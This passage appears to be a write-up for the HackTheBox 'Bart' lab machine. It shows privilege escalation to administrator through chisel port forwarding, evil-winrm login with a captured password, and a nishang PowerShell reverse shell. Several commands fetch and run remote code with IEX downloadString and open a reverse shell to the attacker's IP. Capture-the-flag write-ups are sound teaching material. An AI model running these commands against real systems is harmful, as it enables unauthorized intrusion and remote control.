HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\AlternateShells HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\GPExtensions HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\AutoLogonChecked HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\VolatileUserMgrKey
winrm shell with user administrator
Netstat tells us that Windows remote management service is listening, on the box.
C:\inetpub\wwwroot\internal-01\log>netstat -an netstat -an
Active Connections
Proto Local Address Foreign Address State TCP 0.0.0.0:80 0.0.0.0:0 LISTENING TCP 0.0.0.0:135 0.0.0.0:0 LISTENING TCP 0.0.0.0:445 0.0.0.0:0 LISTENING TCP 0.0.0.0:3306 0.0.0.0:0 LISTENING TCP 0.0.0.0:5985 0.0.0.0:0 LISTENING TCP 0.0.0.0:47001 0.0.0.0:0 LISTENING TCP 0.0.0.0:49664 0.0.0.0:0 LISTENING TCP 0.0.0.0:49665 0.0.0.0:0 LISTENING TCP 0.0.0.0:49666 0.0.0.0:0 LISTENING TCP 0.0.0.0:49667 0.0.0.0:0 LISTENING TCP 0.0.0.0:49668 0.0.0.0:0 LISTENING TCP 0.0.0.0:49669 0.0.0.0:0 LISTENING TCP 10.10.10.81:139 0.0.0.0:0 LISTENING TCP 10.10.10.81:49681 10.10.14.9:4444 ESTABLISHED TCP [::]:80 [::]:0 LISTENING TCP [::]:135 [::]:0 LISTENING TCP [::]:445 [::]:0 LISTENING TCP [::]:5985 [::]:0 LISTENING TCP [::]:47001 [::]:0 LISTENING TCP [::]:49664 [::]:0 LISTENING TCP [::]:49665 [::]:0 LISTENING TCP [::]:49666 [::]:0 LISTENING TCP [::]:49667 [::]:0 LISTENING TCP [::]:49668 [::]:0 LISTENING TCP [::]:49669 [::]:0 LISTENING TCP [::1]:5985 [::1]:49703 TIME_WAIT TCP [::1]:49696 [::1]:5985 TIME_WAIT TCP [::1]:49697 [::1]:5985 TIME_WAIT TCP [::1]:49705 [::1]:5985 TIME_WAIT TCP [::1]:49706 [::1]:5985 TIME_WAIT UDP 0.0.0.0:123 *:* UDP 0.0.0.0:500 *:* UDP 0.0.0.0:4500 *:* UDP 0.0.0.0:5050 *:* UDP 0.0.0.0:5353 *:* UDP 0.0.0.0:5355 *:* UDP 10.10.10.81:137 *:* UDP 10.10.10.81:138 *:* UDP 10.10.10.81:1900 *:* UDP 10.10.10.81:50390 *:* UDP 127.0.0.1:1900 *:* UDP 127.0.0.1:50391 *:* UDP [::]:123 *:* UDP [::]:500 *:* UDP [::]:4500 *:* UDP [::1]:1900 *:* UDP [::1]:50389 *:*
But the firewall doesn't allow direct access. We need to create a port forwarding to access the service. We copy the chisel executable into the target.
u505@naos:~/HTB/Machines/Bart$ cp /opt/utils/chisel/chisel_1.7.4_windows_amd64.exe web/
Download it from our web server.
C:\inetpub\wwwroot\internal-01\log>powershell -c "Invoke-WebRequest -Uri http://10.10.14.9/chisel_1.7.4_windows_amd64.exe -OutFile chisel.exe powershell -c "Invoke-WebRequest -Uri http://10.10.14.9/chisel_1.7.4_windows_amd64.exe -OutFile chisel.exe
We start the server on our machine.
u505@naos:~/HTB/Machines/Bart$ /opt/utils/chisel/chisel_1.7.4_linux_amd64 server --reverse --port 4445 2021/01/19 23:57:25 server: Reverse tunnelling enabled 2021/01/19 23:57:25 server: Fingerprint N8o7CUwJh/bOWRVm2rlD+JCrznCq638Vj5EAbMZ6Xwo= 2021/01/19 23:57:25 server: Listening on http://0.0.0.0:4445
And start the client from the target.
C:\inetpub\wwwroot\internal-01\log>chisel.exe client 10.10.14.9:4445 R:5985:127.0.0.1:5985 chisel.exe client 10.10.14.9:4446 R:5985:127.0.0.1:5985 2021/01/20 05:11:22 client: Connecting to ws://10.10.14.9:4445 2021/01/20 05:11:23 client: Connected (Latency 39.5679ms)
We check if we access the winrm service.
u505@naos:~/HTB/Machines/Bart$ crackmapexec winrm 127.0.0.1/32 -u administrator -p '3130438f31186fbaf962f407711faddb' WINRM 127.0.0.1 5985 NONE [*] None (name:127.0.0.1) (domain:None) WINRM 127.0.0.1 5985 NONE [*] http://127.0.0.1:5985/wsman WINRM 127.0.0.1 5985 NONE [+] None\administrator:3130438f31186fbaf962f407711faddb (Pwn3d!)
Access the server with evil-winrm
u505@naos:~/HTB/Machines/Bart$ evil-winrm -i 127.0.0.1 -u administrator -p '3130438f31186fbaf962f407711faddb'
Evil-WinRM shell v2.3
Info: Establishing connection to remote endpoint *Evil-WinRM* PS C:\Users\Administrator\Documents> whoami bart\administrator
We can access the root and user flag.
*Evil-WinRM* PS C:\Users\Administrator\Documents> cd .. *Evil-WinRM* PS C:\Users\Administrator> cd Desktop *Evil-WinRM* PS C:\Users\Administrator\Desktop> type root.txt <ROOT_FLAG> *Evil-WinRM* PS C:\Users\Administrator\Desktop> cd .. *Evil-WinRM* PS C:\Users\Administrator> cd .. *Evil-WinRM* PS C:\Users> cd h.potter *Evil-WinRM* PS C:\Users\h.potter> type user.txt <USER_FLAG>
Alternative powershell administrator reverse shell
We copy the nishang's reverse shell to our web server.
u505@naos:~/HTB/Machines/Bart/web$ cp /usr/share/windows-resources/nishang/Shells/Invoke-PowerShellTcp.ps1 ./
Add the invocation to our machine at the end of the script block.
u505@naos:~/HTB/Machines/Bart/web$ tail Invoke-PowerShellTcp.ps1
$listener.Stop()
}
}
catch
{
Write-Warning "Something went wrong! Check if the server is reachable and you are using the correct port."
Write-Error $_
}
}
Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.9 -Port 4446
Start a listener.
u505@naos:~/HTB/Machines/Bart$ rlwrap nc -lnvp 4446 Ncat: Version 7.91 ( https://nmap.org/ncat ) Ncat: Listening on :::4446 Ncat: Listening on 0.0.0.0:4446
Create a second script to call our reverse shell script with the user administrator. Because WnRM port is listening, Invoke-Command should work with the remote computer localhost.
u505@naos:~/HTB/Machines/Bart/web$ cat creds.ps1 $pass = ConvertTo-SecureString '3130438f31186fbaf962f407711faddb' -AsPlainText -Force $cred = New-Object System.Management.Automation.PSCredential('BART\Administrator',$pass) Invoke-Command -ScriptBlock {IEX(New-Object Net.webclient).downloadString('http://10.10.14.9/Invoke-PowerShellTcp.ps1')} -Credential $cred -ComputerName localhost
From our target we download and execute the powershell script that should download the reverse shell too.
C:\inetpub\wwwroot\internal-01\log>powershell -ExecutionPolicy Bypass -c "IEX(New-Object Net.webclient).downloadString('http://10.10.14.9/creds.ps1')" powershell -ExecutionPolicy Bypass -c "IEX(New-Object Net.webclient).downloadString('http://10.10.14.9/creds.ps1')"
And we obtain the reverse shell as administrator
u505@naos:~/HTB/Machines/Bart$ rlwrap nc -lnvp 4446 Ncat: Version 7.91 ( https://nmap.org/ncat ) Ncat: Listening on :::4446 Ncat: Listening on 0.0.0.0:4446 Ncat: Connection from 10.10.10.81. Ncat: Connection from 10.10.10.81:49700. Windows PowerShell running as user Administrator on BART Copyright (C) 2015 Microsoft Corporation. All rights reserved.
PS C:\Users\Administrator\Documents> whoami bart\administrator
References
Daniel Simao 09:01, 20 January 2021 (EST)